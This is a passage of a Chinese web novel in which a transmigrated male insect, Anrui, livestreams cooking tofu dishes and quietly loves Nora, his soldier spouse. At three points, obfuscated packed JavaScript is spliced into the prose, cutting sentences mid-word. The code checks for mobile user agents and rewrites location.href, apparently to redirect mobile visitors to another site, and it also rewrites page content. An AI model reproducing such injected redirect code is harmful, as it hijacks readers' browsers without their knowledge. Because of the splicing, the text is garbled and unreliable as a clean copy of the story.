l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538590|142498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就被诺拉按住了。 “雄主,诺拉来就可以。” 亚雌眉眼间闪过几分慌乱,近乎是哀求地看着安瑞:“阁下,您答应了我的……” 看看,他说什么来着,亚雌肯定是有绩效考核。 指不定他们领导正从哪个摄像头里监事着呢。 “那个,诺拉,你让他拿吧。”安瑞拍了拍诺拉的肩膀。 苍蓝色的眼睛蓦地暗了下来,诺拉抿了抿唇,到底没敢反抗安瑞的话。 “是,雄主。” * “辛苦了。” 诺拉看着亚雌把商品放进储物仓,抽了张餐巾纸递过去。 这超市也挺不虫道的,居然让一只纤细的亚雌帮顾客搬东西。 “不辛苦。”亚雌接过餐巾纸,娇羞地笑了笑,忽然往安瑞手里塞了个纸片,“阁下,我叫艾丽卡,是帝国大学艺术系的学生,在超市做兼职,很高兴为您服务。” 看着掉头跑调的亚雌,安瑞忍不住勾起嘴角。 不愧是大学生,真活泼。 他坐上星舰,饶有兴趣地打开艾丽卡塞过来的纸片。 下一刻,安瑞愣住了。 纸片上印着的,赫然是艾丽卡的照片。 照片上的亚雌坐在海边,身上只穿了黑色的三点式泳装,露出了一截纤细的腰肢。 更炸裂的是,照片上的亚雌居然张开了翅翼,透明的翅膀在阳光的照射下,反射出金色的光芒。 那可是翅翼,雌虫非常私密的部位之一,除了军雌在战场上会用骨化的翅膀和敌军搏斗之外,日常生活里雌虫绝不会在大庭广众之下露出翅膀。 这种照片,在虫族基本就算是十八禁的艳照了。 安瑞目光下移,看着照片右下角的智脑联系方式,深深扶额。 他真傻,真的。 那亚雌根本不是什么考核KPI,他完全是冲着自己来的。 安瑞刚要把纸片销毁掉,忽然看到了坐在驾驶位半天没说话的诺拉。 他脑袋嗡地一声,心跳没来由地有些加速。 诺拉不仅是他法律意义上的伴侣,更是他的暗恋对象,他怎么就在诺拉面前接了这种东西。 “诺拉,这个照片……我……” 安瑞欲言又止,吭哧了半天也没想出一种既简洁又不刻意的解释方法。 诺拉星舰调成自动驾驶,坐到安瑞身边:“您需要我帮忙调查艾丽卡的背景吗?” 安瑞脑袋上冒出了一个大大的问号。 他为什么要调查艾丽卡的背景啊? “艾丽卡会在超市打零工,说明家境应该不是太好,但他是艺术系出身,未来工作应该不会太差,床上也能让雄主尽兴,诺拉觉得,您可以纳他做雌侍。” 其实这话已经是僭越了,他一个雌奴,原本没资格置喙雄主的婚事。 但是莫名地,他就是不愿意让雄主娶那只亚雌做雌君。 哪怕他知道,雄主可能真的很喜欢他。 与此同时,安瑞脑袋上的问号变成了一串暗淡的省略号。 就诺拉现在这个状态,真的贼像他大学室友追妹子的时候,他们剩下几个人的状态。 不是,他和诺拉的关系真的这么纯洁吗? 原本准备好的一肚子解释的词语顿时显得多余且莫名其妙了起来。 安瑞默默地嗯了一声,把纸片随便往兜里一塞。 “我再考虑一下吧。” 考虑一下到底怎么处理这段不该产生的情愫。 15. 第 15 章 “雄主,您的快递。” 诺拉把半虫多高的大箱子放在地上,冲厨房喊了一声。 自从雄主去了超市之后,每天都神神叨叨的,也不直播,除了刷智脑就是在厨房鼓捣那些黄豆。 一开始诺拉还没太当回事,只觉得自家雄主可能是收了点打击,直到前两天他还看见雄主把发了霉的米饭上的绿毛小心翼翼地刮下来,放进了一盆蒸好的黄豆上。 没过几天,那盆黄豆也长绿毛了。 诺拉实在没忍住,劝安瑞把黄豆扔了,结果自家雄主居然说这东西是他的秘密武器。 虽然按照《雌训》,雌虫不该对雄主的任何行为提出质疑,但诺拉真的快要受不了了。 作为一只军雌,他多少还是有点洁癖的,一想到厨房里有一盆发了霉的黄豆,他整只虫都不好了。 “来了!”安瑞从厨房里走出来,期待地擦了擦手,“我定制的机器到了。” “什么机器?” 安瑞微微一笑:“打开看看不就知道了。” 诺拉用剪刀往箱子上一捅,左右一摆,箱子里的东西就漏了出来。 上面一个巨大的金属桶,底下是锋利的刀片,旁边还有一个塑料嘴。看起来有点像榨汁机,但是却比一般的榨汁机大出好几倍。 “雄主,这是干什么用的呀?” “磨豆浆的。” “豆浆?” 诺拉眉头微皱,忽然想起了厨房那盆发了霉的黄豆。 救命,雄主不会是想吃那些黄豆吧。 他咬了咬牙,还是冒着冲撞雄主的风险开了口:“雄主,厨房那些发霉的豆子真不能吃。” 安瑞愣了一下,旋即失笑。 诺拉也太可爱了吧。 他抬手给了自家室友一个爆栗:“想什么呢,那些豆子不是用来做豆浆的。” 诺拉轻轻松了口气,旋即又有些懊恼,道歉的话刚要出口,就被安瑞拦住了。 “周末有空吗?” 诺拉讷讷地点了点头。 “陪我做个直播吧,不用露脸的那种。” 漆黑的眸子罕见地露出几分冷冽。 他倒要看看,这回,那颗毒草还要怎么抄袭。 * “大家好,欢迎来到小安的直播间。” 安瑞刚一开播,直播间就出现了各式各样的礼物特效。 【草莓冰棒:啊安安,我的安安回来了!】 【AAA纯情小军雌:呜呜呜呜还以为小哥哥退网了,小哥哥你要坚持住,我们都支持你的。】 【翅膀硬了:有些主播真不要脸,主播别难过,干就完了。】 虽然网友没明说,但安瑞心里还是暖呼呼的。 他平复了一下心情:“前几天一直在准备今天的直播原料,所以没有正常直播,今天给大家带来的是一道全新的美食,菊花豆腐汤。” 【西瓜彩虹糖:哇塞,听起来好厉害的样子】 【酷·雌:豆腐,没听过】 【草莓冰棒:没听过就对了,安安做的菜都是我们没见过的】 安瑞把诺拉叫过来:“因为菊花豆腐汤比较复杂,所以我请我的室友来帮下忙,大家掌声欢迎。” 因为已经提前设置过了,所以镜头在照到诺拉的时候会直接给他的脸打上马赛克。 要不是虫娱不允许主播给自己设置马赛克,安瑞真想直接把自己的脸也挡上。 这样不仅能省下一笔假发和美瞳的钱,也可以有效减少不穿裤子的弹幕。 【AAA纯情小军雌:室友小哥哥身材真好,不会也是军雌吧】 【今天找到雄主了吗:想看室友的脸呜呜呜呜呜】 【西瓜彩虹糖:该说不说,小哥哥和安安好配啊,你们真的只是室友关系吗嘿嘿嘿】 【翅膀硬了:前面的你够了】 “菊花豆腐汤,顾名思义是用豆腐做的,所以我们今天的第一步就是,做豆腐。” 安瑞在镜头前介绍的功夫,诺拉已经非常有眼力见儿地把机器和原料搬了过来。 “这些是我已经泡了一宿的黄豆,现在我们把他倒进特质的机器里,放水搅成糊状。” 随着机器嗡嗡响起,侧面的塑料嘴就冒出了淡黄色的豆浆。 虽然之前已经试用过一次了,但安瑞还是不得不感叹,虫星的机器就是高级,直接把豆浆跟豆渣分离了,不想他在蓝星的时候,还得用纱布手动过滤。 【虫皇的小迷弟:这不就是豆子榨成汁吗,这玩意儿能喝吗】 【酷·雌:虽然但是,这怎么有点恶心呢】 【今天找到雄主了吗:前面是新来的吧,安安做饭就这个风格,看起来丑,吃起来香】 【见手青本青:+1】 安瑞趁磨豆子的功夫看了眼直播,然后不服气地掐腰:“你们别瞧不起豆浆,今天这道菜,管保色香味俱全。” 他把过滤出来的豆浆放进已经清洗干净的铁锅里,煮开之后又转小火煮了几分钟,盛出来两碗备用,然后把剩下的一大锅豆浆倒进一个木盆里。 “接下来,就到最关键的一步了,我们要开始点豆腐啦。” 安瑞拿出一碗装似白水的东西,匀速滴进木盆里,一边滴一边缓慢地搅拌豆浆。 “这个水是什么,因为某些原因,所以我不便公开,请大家谅解。” 【今天找到雄主了吗:呜呜呜好的】 【翅膀硬了:艹,抄袭的都给老子死吧】 【西瓜彩虹糖:虽然但是,还是有一点点难过】 安瑞话音一转:“不过,我会在之后发布的教程视频里,抽一百位幸运观众,为大家送上我亲手制作的豆腐。” 看着弹幕飘过的一片“爱你主播”和鲜花,安瑞笑得眉眼弯弯。 “放好我的秘密武器之后,我们静置十分钟,先带大家品尝一下我们的豆浆。” 安瑞端起一碗豆浆,刚要递给诺拉,又想起雌虫好像都挺嗜甜的,遂拿起白糖:“加点糖吗?” 诺拉点点头。 安瑞盛了一大勺白糖进去,拌匀,舀出一勺,吹了几下,递到诺拉嘴边:“尝尝,够不够甜。” 诺拉的耳尖倏地红了,他低着头小心翼翼地含住豆浆,刚咽下去眼睛就亮了。 “好好喝,比牛奶还好喝。” 安瑞忍不住揉了一下诺拉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538591|142498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发,把豆浆碗递过去:“慢点,小心烫。” 【AAA纯情小军雌:啊啊啊不行了,主播快喝一口】 【今天找到雄主了吗:为什么味觉共享至绑定了主播一个,我恨】 【西瓜彩虹糖:啊啊啊啊啊好甜,安安好宠,我磕得CP不会是真的叭】 【翅膀硬了:上面的你不觉得你挺格格不入的吗】 安瑞瞟了眼评论区,非常善良地往低头抿了一口豆浆。 有点太甜了。 他其实不怎么喜欢往豆浆里加糖。 但是谁叫他的粉丝喜欢呢? 【草莓冰棒:好喝哭了,原来黄豆还可以这么吃】 【翅膀硬了:主播的精神海到底是什么做的,为什么总能想出这么多稀奇古怪的吃法】 【AAA纯情小军雌:一虫血书以后军部的早餐加豆浆】 安瑞看着弹幕,又勉为其难地抿了几口糖分超标的豆浆,才把镜头转向木盆,原本盛着豆浆木盆经过十分钟的静置,已经凝结盛了水豆腐。 【翅膀硬了:艹,牛B】 【草莓冰棒:小哥哥真的不是在变魔术吗】 【今天找到雄主了吗:雌父问我为什么边看直播边学青蛙叫】 【西瓜彩虹糖:哇,哇,哇,是这样吗哈哈哈】 安瑞用木勺把水豆腐盛出来,放进模具里用菜板压好。 “我们再等个十分钟,豆腐就成型……” 一句话没说完,镜头里忽然爆发出绚烂的礼物特效。 虽然安瑞从来没有见过这种礼物特效,但是从特效的夸张程度来看,应该是个特别贵重的礼物。 本着对金主爸爸的尊重,安瑞端端正正地坐好,仔细查看送礼记录。 其实也不用查看,因为金主爸爸送的礼物过于豪横,以至于特效最上方出现了一行醒目的金色大字—— 菜农送出虫神降临×10。 居然是虫神降临! 虽然安瑞只是一个新虫主播,但是也听说过这个礼物的大名。 虫娱最贵的礼物,一个就要30000成就点,也就是 3000星币。 这位大哥居然一连送了十个,刨去平台的抽成,他还能净赚15000星币。 绚烂的特效一个接着一个,足足过了半分钟,才渐渐沉寂下来。 【AAA纯情小军雌:天啊,我家安安也有大佬粉了,老粉落泪】 【今天找到雄主了吗:我家安安也算是熬出来了】 【草莓冰棒:靠,这一个虫神降临能顶我俩月生活费了,大学牲猛猛落泪】 “感谢菜农送出的十个虫神降临,您破费了,如果您不嫌弃,可以后台留一个地址,我给您寄一份豆腐。” 【菜农:谢谢小安主播,你的做的豆腐特别好吃,支持】 安瑞再次道谢,看着时间差不多到了十分钟,遂挪开案板,把豆腐从模具里倒出来。 “豆腐做好了,下一步我们要对豆腐进行加工,这就要拜托我的室友小诺啦。” 与此同时,诺拉脸上的表情一下就丰富了起来。 小诺? 雄主这是在叫他吗? 16. 第 16 章 “发什么愣呢?”安瑞碰了一下诺拉的胳膊。 “啊,好的。” 诺拉勉强压住杂乱的心情,接过豆腐,按照前几天安瑞吩咐的要求,利索地动刀。 【西瓜彩虹糖:啊啊啊我听到什么了,小诺,太可爱了叭】 【草莓冰棒:咦,这恋爱的酸臭味】 【今天找到雄主了吗:没事哒,就算你真的是雌雌恋,我们也不会取关】 “什么雌雌恋,这就是我室友,大家不信谣不传谣嗷。” 安瑞一边和网友聊天,一边洗了几个上次没用完的羊肚菌做配菜。 没过几分钟,诺拉那边已经切好了,原本光滑的豆腐上出现了无数条细碎的刀痕,软踏踏的一团,没精打采地趴在案板上。 【翅膀硬了:这是个什么玩意儿】 【AAA纯情小军次:不是我说,安安的室友靠不靠谱啊,这切得啥】 【酷·雌:谁还记得主播刚答应我们,要做一道色香味俱全的菜来着】 安瑞瞄了两眼评论:“你们还真别瞧不起这豆腐,诸位上眼。” 话音未落,安瑞小心翼翼地把豆腐放进清水里,下一刻,其貌不扬的豆腐竟在清水的浸润下慢慢舒展,绽放,豆腐丝组成的花瓣匀称绵密,粗细和间距几乎完全一样,远看竟真的像一朵飘落在水面的白菊花一一般。 【西瓜彩虹糖:哇啊啊啊啊啊】 【今天找到雄主了吗:我雌父问我为什么又学青蛙叫】 【AAA纯情小军雌:对不起我收回我刚刚说的话,安安的室友太厉害了】 安瑞找出一个白瓷碗,盛了一勺之前准备好的鸡汤,然后把洗过的豆腐小心地放在里面,又在旁边点缀了两个羊肚菌和一颗小油菜。 “配菜大家可以根据自己的喜好调整,最后我们上锅蒸 10-15分钟就可以出锅了。” 看着页面上不断增加的在线观众数量,安瑞眼中闪过几分惊喜。 原本只是想做一个不那么容易被抄袭的菜,没想到菊花豆腐汤这么受欢迎。 果然,虫族就是一堆外貌协会。 十五分钟后,安瑞打开锅盖,蒸汽升腾,瞬间满厨房都是诱虫的香味。 不是烧烤那种横冲直撞的肉香,也不是速食的那种劣质糖浆的刺鼻香,而是一种氤氲的,不怎么激烈却格外绵长的来源于食物本身的香味。 【翅膀硬了:艹,刚吃完午饭,现在又饿了】 【西瓜彩虹糖:真的好香好香,感觉虫生前三十年白活了】 【酷·雌:求求底汤做法,感觉那个汤也很好喝】 安瑞往豆腐花的中央点缀了一颗橙红色的枸杞,然后把白瓷碗端到镜头前。 洁白细腻的豆腐花漂在金灿灿的底汤上,周围是翠绿的青菜和小巧精致的羊肚菌,简直像一副水彩画一样,让虫舍不得下筷。 漆黑的眼眸中闪过几分骄傲。 这是独属于种花国的美食文化,是种花民族骨子里的浪漫。 “菊花豆腐汤是我家乡有名的美食,送给大家,希望你们喜欢。” 随着安瑞的话,屏幕上再一次出现了绚烂的礼物特效。 【AAA纯情小军雌:太好看了,快炫我嘴里】 【酷·雌:没什么可说的了,服了】 【翅膀硬了:这才是真正的美食博主,比某个抄袭怪强多了】 安瑞用勺喝了口汤,然后残忍地把菊花一分为二。 当一道菜漂亮到这种程度的时候,好不好吃已经不重要了,不过菊花豆腐汤的味道也没有让观众失望。 足足熬了一晚上的鸡汤鲜香美味,豆腐滑嫩细腻,就连羊肚菌都吸满了汤汁。 观众吃的异常满足,根本没空追究安瑞说的“家乡”两个字。 除了站在安瑞身后,默默陪他直播的诺拉。 他打开智脑,默默搜索“菊花豆腐汤”—— 空空荡荡的页面上,只有一行 “检索结果为零”的小字提示。 诺拉不甘心,再次搜索“豆腐”—— 页面依旧空空荡荡。 两道剑眉紧紧地拧在了一块。 虫星虽然广袤,但是无线网已经实现了全星球覆盖。 如果哪里真的有菊花豆腐汤这样的美食,不可能在智脑上搜不到。 除非,他雄主嘴里的“家乡”,是哪个荒星。 可一只雄虫的家乡为什么会是荒星呢? 这太荒谬了。 难道雄主的雌父是被发配到荒星的罪犯,然后在荒星生下了他? 可这也说不通啊,帝国法律注重保护虫崽,怀孕的雌虫在生下虫蛋之前,是绝不会被送到荒星的。 那就只有一种可能了,雄主出身在荒星的某个星盗组织,不知道因为什么原因,流落到虫星,隐姓埋名做了一只平民雄虫。 “想什么呢?” 头脑风暴好像突然被按下了暂停键,诺拉刚一张嘴,然后嘴里就被喂了一勺豆腐汤。 “好吃不?” 他勉强笑笑:“好吃的。” 然后他就看自家雄主很自然地用自己刚刚用过的勺子盛了快豆腐,塞进嘴里。 苍蓝色的眸子眨了眨,诺拉轻轻吐出一口气。 星盗组织又怎么样呢? 出身又不是一只虫自己能决定的。 至少雄主至今为止没有做过一件违法乱纪的事。 只要雄主不背叛帝国,他就永远会是雄主最忠诚的雌奴。 * “诺拉,你知道我们刚刚那场直播挣了多少钱吗?” 不等诺拉回答,安瑞已经迫不及待地说出了答案:“21789星币!” 他蓝星的账号粉丝过百万,一场直播也收不到这么多的礼物打赏。 等到他把菊花豆腐汤的教程视频发上去,估计还能再吸引一波流量。 这等他账号粉丝稍微再多点,接点广子和直播带货啥的,他不发了吗? “恭喜雄主。” 苍蓝色的眼眸中浮现出几分欣喜。 虽然他不明白雄主为什么要这么努力的赚钱,但是雄主高兴,他就高兴。 “等我把账号做起来,攒够雄保协会的罚款,就能彻底摆脱他们的控制了。” 诺拉收拾碗筷地手猛地一顿。 原来雄主这么努力赚钱,是为了偿还雄保协会的罚款吗? 他还记得,在他来的第一天,雄主跟雄保协会的客服打了很久的电话,想要把他退回去,但是碍于罚款,最终不得不接受他这个雌奴。 虽然诺拉一直都知道,雄主不喜欢自己,可是上个礼拜雄主才带他去做了雌奴登记。 他以为,雄主至少接受自己了。 原来是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538592|142498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他想多了。 诺拉快手快脚地把碗筷塞进洗碗机里,然后几乎是逃命一般地回到了自己的卧室。 他怕再待一会儿,眼泪就要忍不住流出来了。 * 诺拉拿了润滑油,小心翼翼地涂在机甲的关节处,然后又拿了绒布,从上到下把机甲擦了一遍。 “小白。”雌虫低声唤了一句,“你说,等雄主攒够了钱,是不是就要把我们丢出去了。” 银色的机甲静静地站在桌前,一双向上挑起的方块眼温柔地注视着诺拉。 诺拉用食指轻轻触上机甲有些掉漆的左手:“雄主他对我真的很好,可是他喜欢的是漂亮温柔的亚雌。” 而他,既不漂亮,也不温柔。 一想到安瑞收了那只亚雌的照片,诺拉就觉得嘴里好像被塞了一整个柠檬,又酸又涩,还带着些苦味。 “小白,你说我该怎么办呀?” 两地晶莹的泪蓦地从眼睛里流出来,滴在机甲的肩膀上,又很快地被诺拉用绒布擦掉。 小白身上的漆掉了不少,如果沾上水容易生锈。 “诺拉。”门外蓦地传来了敲门声,“晚上吃烧烤吧,庆祝一下。” 诺拉慌张地擦去眼边的泪痕,做了两个深呼吸,尽量保持声音平稳。 “好的,雄主。” * “烤串就酒,越喝越有。”安瑞给倒了两杯啤酒,递给诺拉一杯,“走一个?” 作为一只军雌,诺拉原本是不怎么喝酒的。 但不知道为什么,他今天突然就特别想醉一次。 他恭敬地举杯,轻轻碰了一下安瑞的杯子,然后一饮而尽。 “呦,酒量不错。” 安瑞不知道原主酒量怎么样,但是想起雄虫拉胯的身体素质,还是谨慎地只喝了小半杯。 “抱歉,我酒量不太好。” 诺拉自然不会勉强安瑞喝酒,只是自顾自地又倒了一杯,仰起脖子吨吨吨,几口喝干了。 安瑞有点惊讶地眨眨眼。 自家室友不会是一个隐藏的酒蒙子吧。 想想也挺合理的,二十多岁的大男孩,原本该是肆意妄为的年纪,却因为身上的军装不得不克制自己的欲望,好不容易休假了,可不就使劲喝吗。 “你慢点喝。”安瑞往烤好的牛肉串上撒了点盐巴,递给诺拉一串,“先吃点东西垫垫,要不然容易醉。” “谢谢雄主。” 诺拉把烤串胡乱塞进嘴里,又端起酒杯,一口气喝了大半杯。 安瑞看在眼里,轻轻叹了口气,帮诺拉倒上酒。 算了,好不容易释放一回,想喝就喝吧。 在安瑞的刻意放纵之下,不到半个小时,桌边就已经摆了五六个空啤酒瓶子,再看诺拉,脸上已经泛起了醉酒的潮红,眼神也有些迷离。 “雄主。” 醉酒后的诺拉声音都比平常软了几分,像只大型犬一样往安瑞身边蹭了蹭,一双蓝色的眼睛湿漉漉地看着诺拉,看了一会儿又轻轻叫了一声:“雄主。” “嗯,我在。” 安瑞伸手,很熟练地拂上诺拉的头。 鬼使神差地,他突然开口:“等我交了罚款,你就可以不再做我的雌奴了,到时候你有什么打算吗?” 安瑞顿了顿,补了一句:“比如,找个你喜欢的雄虫结婚?” 17. 第 17 章 话刚刚问出口,安瑞就有些后悔了。 他不知道诺拉会给他什么样的答案,更不知道自己在期待些什么。 身边的军雌好像醉得有些厉害,半天都没说话。 院子里一时有些寂静,只剩下炉子上半熟的肉串在炭火的燃烧劈啪作响。 过了很久,久到安瑞几乎要忍不住岔开话题的时候,身边的雌虫忽然轻轻开口。 “不会,不会有喜欢的雄虫了。” 诺拉给烤串翻面的手蓦地一顿,心瞬间沉到了谷底。 也是,虫族这种畸形的社会结构下,雌虫又怎么会真的喜欢上雄虫呢? 所以,他到底应该怎么处理自己这份感情呢? 是继续追求,还是将他深埋在心底。 安瑞还在纠结,就听诺拉接着说:“所以雄主,您能不能不要赶我走。” 安瑞很快明白了诺拉话里的意思—— 如果他解除和诺拉的婚姻关系,诺拉又会恢复到单身军雌的状态,那么根据《军雌保护法》,他会再一次被雄保协会强制匹配给另一只素未谋面的雄虫。 “你放心,只要你愿意,你可以一直和我保持婚姻关系。” 安瑞回头,刚要把一串烤好的鸡翅递给诺拉,才发现那只傻虫子不知道什么时候,已经醉的睡过去了。 他叹了口气,认命般地把诺拉扶进卧室,给他除了鞋袜和外衣,又打了盆温水,细致地帮诺拉擦洗手脚。 如果诺拉这个时候睁开眼,就能从安瑞眼睛里看到一种热烈又克制的眼神。 那是一种不敢宣之于口的爱意。 * 菊花豆腐汤的教程不出所料地火了,不到七十二个小时点赞数量已经破十万,转发次数也有大几千,安瑞后台粉丝量也像坐了火箭一样迅速突破了一万。 不少网友在看了安瑞的视频之后,纷纷猜测那碗秘密武器到底是什么,但至今为止,所有实验的网友都以失败告终。 美食就在眼前,看得见吃不着,不少网友气急之下,纷纷跑到一棵小草的视频评论区和直播间怒骂抄袭。 可能是激情开麦的网友太多,一棵小草在坚持了一个礼拜之后终于还是没顶住压力,默默把爆炒见手青的视频删除了。 不过,安瑞这几天可没什么时间关注这些舆情。 诺拉这几天很忙,经常中午不回家吃饭,说是在准备军部的机甲大赛。 安瑞琢磨着,应该就是高科技版的全军大比武。 自家室友有正事要做,安瑞也不好意思再麻烦他,于是之前直播间承诺的一百份豆腐几乎全是安瑞自己做完的。 除了日常直播和发视频,安瑞就是窝在厨房,把源源不断的豆子磨成浆,再作成豆腐。 那个磨豆浆的机器还是定的小了些,要是能买个工厂里用的那种大机器,一百块豆腐说不定半天就做完了。 把最后一块豆腐放上快递车之后,安瑞瘫坐在沙发上,擦了擦头上的汗,又看了看外面似火的骄阳,不知怎么的,突然觉得今年夏天好像少了点什么。 他想了一会儿,忽然一拍大腿。 这种天气,就应该喝豆汁儿啊。 安瑞计算了一下时间,今天买绿豆,泡一下午,晚上发酵一宿,最迟明天中午应该就能也喝上了。 * 第二天上午,安瑞兴冲冲地拿出已经发酵好的生豆汁,放进开水里煮熟,然后又炸了一盘焦圈。 除了缺点小咸菜,简直完美。 看着馋了两天的美食,安瑞刚要开动,门一响,诺拉走了进来。 安瑞:!!! 救命,他没给诺拉准备午饭啊。 “雄主午安。” 诺拉躬身问好,然后看着桌子上绿色的可疑汤液,陷入了深深的沉思。 几天没见,雄主这是又搞什么新发明了吗? 看雄主这脸色,难不成是创新失败了…… 安瑞被诺拉看得有点不好意思,轻轻咳嗽了一声,试图转移话题:“今天没练机甲?” 诺拉从可疑液体上回过神:“今天上午预赛,结束得早,所以就回来了。” “怎么样?” 安瑞对诺拉的比赛还是非常上心的。 “通过了。” 诺拉没有说,自己是以第一名的成绩通过了预赛。 毕竟只是一个预选赛,排名并不重要,在决赛拿了第一才算数。 “太棒了!”安瑞轻轻地欢呼一声,又有点尴尬地看了看桌上的豆汁,“抱歉,不知道你今天中午回来,没做什么正经饭,你想吃什么,我现在做。” “没关系的雄主,我喝这个就行。” 不等安瑞阻拦,诺拉已经端起了豆汁儿,喝了一大口。 “哎……” 安瑞阻拦的手停在了半空中。 算了,喝就喝吧,喝过一口应该就长记性了。 第一口豆汁刚进嘴的时候,诺拉就被带着点馊的酸味震撼到了。 他实在没想到,自家雄主居然还能做出这么难吃的东西。 这汤别不是坏了吧。 但是怕雄主伤心,诺拉还是一口气喝了小半碗。 反正雌虫的身子抗造,当年他出任务的时候星舰坏了被困在荒星上,为了活下来什么奇奇怪怪的东西没吃过,还怕一碗馊了的汤? 他把嘴里的奇怪液体咽下去,刚要安慰雄主几句,忽然就觉得身上的轻快了不少,就连上午比赛出的汗也消了。 诺拉迷茫地眨了眨眼睛,轻轻咂摸了一下嘴里的味道。 好像也没那么难以接受了,相反,还有点想继续把那碗都喝完。 诺拉这么想,也就这么做了,他再一次端起碗,又喝了几口。 一旁的安瑞已经看傻眼了。 自家室友不会喜欢豆汁吧。 等诺拉终于再次放下碗,安瑞才小心翼翼地问:“好喝吗?” “好像是……好喝的?”诺拉努力寻找合适的措辞,“刚入口的时候有些酸馊味,确实不好喝,但是喝几口之后,又觉得很清爽,心里的火气也消了不少。” 安瑞眼中闪过几分惊讶,旋即又笑了起来。 “那我多做几瓶放冰箱,你训练的时候就带一瓶,消暑解渴的。”他又给诺拉夹了个焦圈,“新炸的,和豆汁儿是绝配。” * 诺拉离开以后,安瑞看着剩下的小半锅豆汁儿,脑子转得飞快。 既然诺拉能喜欢上豆汁,那是不是说明虫族里也会有一部分雌虫能喜欢豆汁。 要不他录一期做豆汁的教程算了。 至于直播,安瑞思考了一下还是放弃了。 一来豆汁发酵时间过长,不太适合直播,二来,安瑞还是决定稍微做个人,避免一些不喜欢豆汁的粉丝在味觉共享 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他歇了一分钟,刚要再做五十个立卧撑,门响了。 安瑞愣了一下,猛地想起来,好像又到了给诺拉做精神力疏导的日子了。 最近因为诺拉参加机甲比赛,精神力耗费的有点快,所以安瑞也把精神力疏导的频率提高了一些。 从五天一次改成了三天一次。 他把自己从地上撑起来,走过去打开门。 “进来吧。” 诺拉恭敬应是,走进安瑞的房间,在安瑞坐到床边之后,很温顺地跪坐在安瑞腿边。 “辛苦雄主了。” 雌虫身上穿着米白色的睡衣,应该是刚刚洗过澡,头发丝上还带这些潮意,一双圆滚滚的蓝眼睛眨也不眨地盯着安瑞。 好乖。 好像一只大狗狗。 安瑞忍不住勾了勾嘴角,又很快地止住了这个莫名其妙的想法,温柔把诺拉的脑袋拉到自己腿上,轻轻拂上那双漂亮的眼睛。 “闭眼。” 在安瑞的努力下,诺拉的精神海已经恢复得很好,柔顺的精神力丝线在安瑞探进精神力的那一刻就迫不及待地缠上来,展示自己有多么的健康 。 要是丝线的主虫也能这么活泼就好了。 安瑞安抚地拍了拍过于热情的丝线,然后细细检查诺拉的精神海,把一些有打结预兆的丝线整理好。 不到五分钟,精神力量疏导就完成了。 安瑞收回精神力,揉了一把雌虫金色的长发,一句晚安还没出口,诺拉却先开了口。 “雄主,诺拉……诺拉能求您一件事吗?” 安瑞不由得坐直了身体。 这好像是诺拉第一次对他用“求”这个字。 “如果我能做到。” “周五上午,诺拉会参加机甲决赛,您能来看吗?” 诺拉知道安瑞工作日上午都会直播。 他原本不该提这样的请求。 可邀请雄主观看机甲比赛,原本就是军部的传统。 更何况,他也是真的希望雄主能来看他比赛,也真的很想把奖牌和鲜花献给他的雄主。 “你进决赛了!”安瑞有点惊喜地眨眨眼,“这周五是吧,我肯定去。” 18. 第 18 章 在被自家室友邀请之后,安瑞特意上星网查了一下军部机甲大赛。 不查不知道,一查吓一跳,机甲大赛居然是军部最高规格的比赛之一,每四年举办一次,冠军不仅能获得高额奖金,职位也能更进一步。 机甲的操控对精神力要求很高,只有跟雄主关系相对和睦的雌虫才有可能夺得冠军,因此机甲比赛也有一个不成文的规定,进入决赛的军雌要邀请自己的雄主观看比赛,最终获得冠军的军雌也会请自己的雄主一起参加颁奖仪式。 还有一部分帖子说,机甲比赛也是军部拉拢雄虫,以期雄虫能够接受更多军雌的方式。 没想到自己这么重要。 安瑞有点惊讶地关上智脑,默默把自己的定位从普通啦啦队上升到VVIP亲友团。 这他可不能给诺拉丢脸啊。 安瑞回忆着蓝星运动会的流程,火速在商城下单了一些加油能用到的东西,想了想,又点开一家专门制作横幅的网店,低头戳字。 ——您好,请问可以定制横幅吗 对面几乎是秒回。 ——可以的呢亲亲,可以问一下用途吗? 安瑞思考了一下,戳字。 ——我家雌虫要参加军部的机甲决赛,我想给他做个加油的横幅。 对面的一下子连着发来了好几条消息。 ——天啊,您居然是雄虫吗? ——做您的雌虫简直是太幸福了呜呜呜呜 ——请问您还缺雌侍或者雌奴吗,我是亚雌,今年28岁,身高172体重51kg,家务和厨艺课都是A+,年收入50万星币,阁下考虑一下吗? 安瑞:…… 他沉默了三秒,低头戳字。 ——不用了,我不需要…… 戳到一半,安瑞的手指忽然停顿了一下,默默删掉了后半句话,重新戳。 ——不用了,我有他一个就够了。 对面立刻发过来了一个大哭的表情。 ——天啊,好羡慕您的雌君,这个横幅我就不收您钱了,算是我对您和雌君美好爱情的祝福。 安瑞勾了勾唇角。 ——没事,我正常买就好,你的心意我领了。 页面闪烁了一会儿,对面终于发来了消息。 ——天啊,阁下简直是我见过最有礼貌的雄子,那您拍我店铺的置顶链接吧,横幅内容写在备注就可以了。 ——您放心,我一定会让您的横幅惊艳全场。 安瑞拍下商品,在备注里填上“诺拉加油,你是最棒的”,然后以一个谢谢的表情包结束了对话。 * 